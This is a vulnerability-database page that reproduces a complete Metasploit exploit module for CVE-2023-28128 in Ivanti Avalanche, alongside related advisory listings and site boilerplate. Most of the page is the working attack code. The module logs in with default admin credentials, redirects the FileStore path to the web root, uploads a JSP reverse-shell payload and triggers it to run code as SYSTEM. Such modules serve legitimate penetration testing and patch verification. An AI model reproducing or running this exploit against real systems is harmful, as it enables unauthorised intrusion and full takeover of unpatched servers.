Lucene search
K

Ivanti Avalanche FileStoreConfig Shell Upload Exploit

🗓️ 19 May 2023 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 406 Views

Ivanti Avalanche FileStoreConfig allows MS-DOS style short names in the configuration path for the Central FileStore. This allows an admin to change the default path, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-28128
10 May 202302:13
circl
CNNVD
Ivanti Avalanche 代码问题漏洞
9 May 202300:00
cnnvd
CVE
CVE-2023-28128
9 May 202300:00
cve
Cvelist
CVE-2023-28128
9 May 202300:00
cvelist
Metasploit
Ivanti Avalanche FileStoreConfig File Upload
16 May 202319:53
metasploit
NVD
CVE-2023-28128
9 May 202322:15
nvd
Packet Storm
Ivanti Avalanche FileStoreConfig Shell Upload
16 May 202300:00
packetstorm
Prion
Unrestricted file upload
9 May 202322:15
prion
Positive Technologies
PT-2023-21585 · Avalanche · Avalanche
24 Apr 202300:00
ptsecurity
Rapid7 Blog
Metasploit Weekly Wrap-Up
19 May 202318:44
rapid7blog
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',
        'Description' => %q{
          Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short
          names in the configuration path for the Central FileStore. Because of
          this, an administrator can change the default path to the web root
          of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Piotr Bazydlo', # @chudypb - Vulnerability Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],
          ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],
          ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],
          ['CVE', '2023-28128']
        ],
        'Platform' => ['win', 'java'],
        'Privileged' => true,
        'Arch' => ARCH_JAVA,
        'Targets' => [
          [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]
        ],
        'DisclosureDate' => '2023-04-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),
        OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])
      ]
    )
  end

  def check
    # Cleanup should not be needed after doing just a check.
    @cleanup_needed = false

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET'
    )

    return CheckCode::Unknown('Failed to receive a response from the application') unless res

    unless res.body.include?('Avalanche - User Login')
      return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')
    end

    html = res.get_html_document
    elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }
    return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem

    version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)
    return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2

    version = version[1]
    vprint_status("Version of Ivanti Avalanche appears to be v#{version}")
    ver_no = Rex::Version.new(version)
    patched_version = Rex::Version.new('6.4.0.186')

    if ver_no >= patched_version
      CheckCode::Safe('Target has been patched!')
    elsif ver_no < patched_version
      CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')
    else
      CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")
    end
  end

  def authenticate
    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
      fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')

    html = res.get_html_document
    view_state = get_view_state(html)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'loginForm' => 'loginForm',
        'j_idt8' => '',
        'loginField' => datastore['USERNAME'],
        'passwordField' => datastore['PASSWORD'],
        'TextCaptchaAnswer' => '',
        'javax.faces.ViewState' => view_state,
        'loginTableButton' => 'loginTableButton'
      }
    )

    unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')
      fail_with(Failure::UnexpectedReply, 'Login failed')
    end
  end

  def get_view_state(html)
    view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text

    view_state
  end

  def configure_filestore
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
      fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')
    end

    html = res.get_html_document
    view_state = get_view_state(html)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state

    @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path
    print_status("Original FileStore config path: '#{@original_config_path}'")

    # determine drive letter
    drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)
    fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3
    drive_letter = drive_letter[1]

    new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"
    print_status("Changing FileStore config path to '#{new_config_path}'")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
        'formFileStoreConfig' => 'formFileStoreConfig',
        'txtUncPath' => new_config_path,
        'txtVelocityFolder' => '',
        'javax.faces.ViewState' => view_state
      }
    )

    input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first
    if input_field_html.blank?
      fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')
    elsif input_field_html[:value] != new_config_path
      fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')
    end
  end

  def get_directory_val(res, dir_name)
    html = res.get_html_document
    results = html.xpath('//tr[contains(@class, "DIRECTORY")]')
    fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results

    expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }
    fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir
    data_rk = expand_dir.at('@data-rk')&.value
    fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk

    data_rk
  end

  def expand_folder(data_rk, view_state)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
        'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',
        'fileStoreTree_dlgFileStoreTree_expand' => data_rk,
        'javax.faces.ViewState' => view_state
      }
    )
  end

  def select_folder(data_rk, view_state)
    @cleanup_needed = true
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' =>
      {
        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.behavior.event' => 'select',
        'javax.faces.partial.event' => 'select',
        'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,
        'form_filestore_tree' => 'form_filestore_tree',
        'fileStoreTree_dlgFileStoreTree_selection' => data_rk,
        'javax.faces.ViewState' => view_state
      }
    )
  end

  def upload_payload
    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
    # need to 'select' webapps/AvalancheWeb to upload a file
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
    web_data_rk = get_directory_val(res, 'webapps')
    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state

    res = expand_folder(web_data_rk, view_state)
    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res
    avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')
    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state
    res = select_folder(avalanche_data_rk, view_state)
    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res

    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state

    boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"

    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"
    post_data << "upload-form\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
    post_data << "#{view_state}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"
    post_data << "true\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"
    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"
    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"
    post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"
    post_data << "Content-Type: application/octet-stream\r\n\r\n"
    post_data << "#{payload.encoded}\r\n"
    post_data << "--#{boundary}--\r\n"

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'data' => post_data,
      'headers' => {
        'Accept' => 'application/xml, text/xml, */*; q=0.01',
        'Faces-Request' => 'partial/ajax',
        'X-RequestedWith' => 'XMLHttpRequest',
        'Content-Type' => "multipart/form-data; boundary=#{boundary}",
        'Accept-Encoding' => 'gzip, deflate'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")

    print_good("Successfully uploaded '#{payload_name}'")
    payload_name
  end

  def cleanup
    if @cleanup_needed == false
      return
    end

    restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'
    print_status('Attempting to restore config path')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res
      print_error("Could not access FileStore config. #{restore_msg}")
      return
    end

    html = res.get_html_document
    view_state = get_view_state(html)
    unless view_state
      print_error("Failed to get view state. #{restore_msg}")
      return
    end

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
        'formFileStoreConfig' => 'formFileStoreConfig',
        'txtUncPath' => @original_config_path,
        'txtVelocityFolder' => '',
        'javax.faces.ViewState' => view_state
      }
    )

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res&.body&.include?(@original_config_path)
      print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")
      return
    end

    print_good('Successfully restored the FileStore config path')
  end

  def exploit
    # Starting off we shouldn't need cleanup, however if we get to the point were we start
    # to change config settings then we will need to clean that up.
    @cleanup_needed = false

    authenticate
    configure_filestore
    payload_name = upload_payload

    register_file_for_cleanup("webapps/#{payload_name}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet
      'method' => 'GET',
      'keep_cookies' => true
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2023 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.2
EPSS0.87967
SSVC
406